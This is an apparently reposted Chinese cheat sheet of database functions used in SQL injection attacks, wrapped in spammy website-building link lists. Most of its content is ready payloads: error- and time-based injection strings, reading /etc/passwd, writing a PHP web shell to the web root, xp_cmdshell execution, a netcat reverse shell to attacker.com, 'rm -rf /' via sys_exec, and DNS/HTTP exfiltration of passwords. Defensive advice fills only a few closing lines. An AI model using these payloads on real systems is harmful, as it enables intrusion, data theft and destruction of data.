当前位置: 首页 > wzjs >正文

沧州免费网站建设长沙 外贸网站建设公司价格

沧州免费网站建设,长沙 外贸网站建设公司价格,金融网站模版,wordpress邮件找客户端目录 一、信息获取函数 1. 通用函数 2. 元数据查询(INFORMATION_SCHEMA) 二、字符串操作函数 1. 字符串连接 2. 字符串截取 3. 编码/解码 三、报错注入专用函数 1. MySQL 2. SQL Server 3. PostgreSQL 四、时间盲注函数 1. 通用延迟 2. 计…

目录

一、信息获取函数

1. 通用函数

2. 元数据查询(INFORMATION_SCHEMA)

二、字符串操作函数

1. 字符串连接

2. 字符串截取

3. 编码/解码

三、报错注入专用函数

1. MySQL

2. SQL Server

3. PostgreSQL

四、时间盲注函数

1. 通用延迟

2. 计算密集型延迟

五、文件操作函数

1. 文件读取

2. 文件写入

六、系统命令执行函数

1. SQL Server

2. PostgreSQL

3. MySQL(需特殊条件)

七、带外通信(OOB)函数

1. DNS外传数据

2. HTTP请求

八、高级聚合函数

1. 数据聚合

九、JSON/XML操作函数

1. MySQL

2. SQL Server

十、防御规避函数

1. 编码混淆

2. 动态执行

总结与防御建议


以下是SQL注入攻击中常用的数据库函数分类整理,覆盖主流数据库及其高危操作场景:


一、信息获取函数

1. 通用函数
  • DATABASE() 作用:获取当前数据库名称。 示例UNION SELECT DATABASE()

  • USER() / CURRENT_USER() 作用:获取当前数据库用户。

  • VERSION() / @@VERSION 作用:获取数据库版本信息。

2. 元数据查询(INFORMATION_SCHEMA
  • TABLES MySQLSELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() SQL ServerSELECT name FROM sysobjects WHERE xtype='U'

  • COLUMNS OracleSELECT column_name FROM all_tab_columns WHERE table_name='USERS'


二、字符串操作函数

1. 字符串连接
  • CONCAT(str1, str2) 示例CONCAT('user=', USER())

  • ||(Oracle/PostgreSQL) 示例' UNION SELECT 'user: ' || USER() --

2. 字符串截取
  • SUBSTRING(str, start, length) 示例:盲注中逐字符爆破:SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1)

  • SUBSTR()(Oracle/PostgreSQL)

  • LEFT(str, length) / RIGHT(str, length)

3. 编码/解码
  • HEX() / UNHEX() 用途:绕过WAF过滤,如SELECT HEX('admin')61646D696E

  • CHAR(ASCII_CODE) 示例CHAR(97)a


三、报错注入专用函数

1. MySQL
  • UPDATEXML() 语法UPDATEXML(XML_doc, XPath, new_value) 示例AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1)

  • EXTRACTVALUE() 语法EXTRACTVALUE(XML_doc, XPath) 示例AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION()))

2. SQL Server
  • CONVERT() 触发类型转换错误CONVERT(int, (SELECT TOP 1 table_name FROM sysobjects))

  • ERROR_MESSAGE() 配合TRY-CATCHBEGIN TRY SELECT 1/0 END TRY BEGIN CATCH SELECT ERROR_MESSAGE() END CATCH

3. PostgreSQL
  • CAST() 示例CAST((SELECT CURRENT_USER) AS INTEGER)


四、时间盲注函数

1. 通用延迟
  • SLEEP(seconds)(MySQL) 示例IF(1=1, SLEEP(5), 0)

  • PG_SLEEP(seconds)(PostgreSQL)

  • WAITFOR DELAY '0:0:5'(SQL Server)

2. 计算密集型延迟
  • BENCHMARK(count, expr)(MySQL) 示例BENCHMARK(1000000, MD5('test'))


五、文件操作函数

1. 文件读取
  • LOAD_FILE()(MySQL) 权限需求FILE权限,且secure_file_priv未限制路径 示例UNION SELECT LOAD_FILE('/etc/passwd')

  • pg_read_file()(PostgreSQL) 示例SELECT pg_read_file('/etc/passwd')

2. 文件写入
  • INTO OUTFILE / INTO DUMPFILE(MySQL) 示例SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php'

  • COPY(PostgreSQL) 示例COPY (SELECT 'malicious code') TO '/var/www/shell.php'


六、系统命令执行函数

1. SQL Server
  • xp_cmdshell 示例EXEC xp_cmdshell 'whoami' 防御:需禁用xp_cmdshell组件。

2. PostgreSQL
  • COPY FROM PROGRAM 示例COPY cmd_exec FROM PROGRAM 'nc -e /bin/sh attacker.com 4444'

3. MySQL(需特殊条件)
  • sys_exec()(UDF提权后) 示例SELECT sys_exec('rm -rf /')


七、带外通信(OOB)函数

1. DNS外传数据
  • LOAD_FILE()(MySQL) 示例LOAD_FILE(CONCAT('\\\\', (SELECT HEX(password)), '.attacker.com\\test'))

  • UTL_HTTP.REQUEST()(Oracle) 示例SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL) FROM DUAL

2. HTTP请求
  • HTTPURITYPE(Oracle) 示例SELECT HTTPURITYPE('http://attacker.com/'||(SELECT password FROM users)).GETCLOB() FROM DUAL


八、高级聚合函数

1. 数据聚合
  • GROUP_CONCAT()(MySQL) 示例GROUP_CONCAT(table_name SEPARATOR ',') 用于一次性获取所有表名。

  • STRING_AGG()(SQL Server/PostgreSQL) 用途:合并多行结果为单个字符串。


九、JSON/XML操作函数

1. MySQL
  • JSON_EXTRACT() 绕过技巧SELECT JSON_EXTRACT('{"a":"b"}', CONCAT('$.', (SELECT USER())))

2. SQL Server
  • OPENJSON() 示例SELECT * FROM OPENJSON((SELECT password FROM users FOR JSON PATH))


十、防御规避函数

1. 编码混淆
  • TO_BASE64() / FROM_BASE64()(MySQL 5.6+) 示例SELECT FROM_BASE64('YWRtaW4=')admin

  • ASCII() / ORD() 用途:盲注中逐字符转换ASCII值。

2. 动态执行
  • EXEC()(SQL Server) 示例EXEC('SELECT * FROM users')

  • PREPARE / EXECUTE(MySQL) 示例SET @sql = CONCAT('SELECT * FROM ', (SELECT table_name FROM information_schema.tables LIMIT 1)); PREPARE stmt FROM @sql; EXECUTE stmt;


总结与防御建议

  1. 禁用高危函数:如xp_cmdshellFILE权限等。

  2. 输入过滤:严格校验参数类型,过滤UNIONSLEEP等关键词。

  3. 最小权限原则:数据库账户仅授予必要权限。

  4. 监控异常查询:如频繁出现INFORMATION_SCHEMA访问或LOAD_FILE()调用。

示例攻击链

' UNION SELECT NULL, CONCAT('DB: ', DATABASE(), ' User: ', USER(), ' Version: ', VERSION()), LOAD_FILE('/etc/passwd') 
-- 

掌握这些函数的作用机制,可更精准地设计防御策略与检测规则。


http://www.dtcms.com/wzjs/565093.html

相关文章:

  • 那曲做网站html代码大全表格
  • 建立自己的网站平台做电子商务网站的公司
  • 安装网站出现dir公司网站建设的目的和意义
  • 北京诚通新新建设有限公司网站做a视频 免费网站
  • 福州精美个人网站建设公司国家工信部备案网站
  • 濮阳做网站做网站要什么功能
  • 帮做3d模型的网站景区加强网站建设
  • 做视频网站需要什么资质智能网站建设哪家效果好
  • 内网做网站需要空间吗南京html5响应式网站建设
  • 如何对新开网站做收录织梦网站添加视频教程
  • 电商网站平台建设资金预算厦门关键词seo排名网站
  • 营销版网站dede手机网站模板下载
  • 消费返利系统网站建设ip直接访问网站 备案
  • 建设网站不会写代码北京网站建设电扬科技
  • 淘宝的网站怎么做的好在线推广网站的方法
  • 海外产品网站建设WordPress数据消失
  • 中天建设中瑞物资网站狼雨seo培训
  • 北京网站优化常识纯flash网站
  • 如何把网站上传到空间网站开发的经济效益分析
  • 程序界面设计搜索引擎优化结果
  • seo网站排名后退网站建设与管理的展望与未来
  • 如何做好企业网站用手机下载地图到内全卡
  • 自贡百度做网站多少钱广州网站建设广州网络推广公司好
  • 建网站卓设计公司网站应该包括的信息
  • 网站设计模式海口制作网页公司
  • 做网站广告多少钱宁波seo推广如何收费
  • 网站标题关键字增城网站建设推广
  • 北京营销型网站建设公司广告设计与制作软件有哪些
  • 鹤壁 网站建设垡头网站建设
  • 哈尔滨建设厅网站网站后台管理系统怎么做的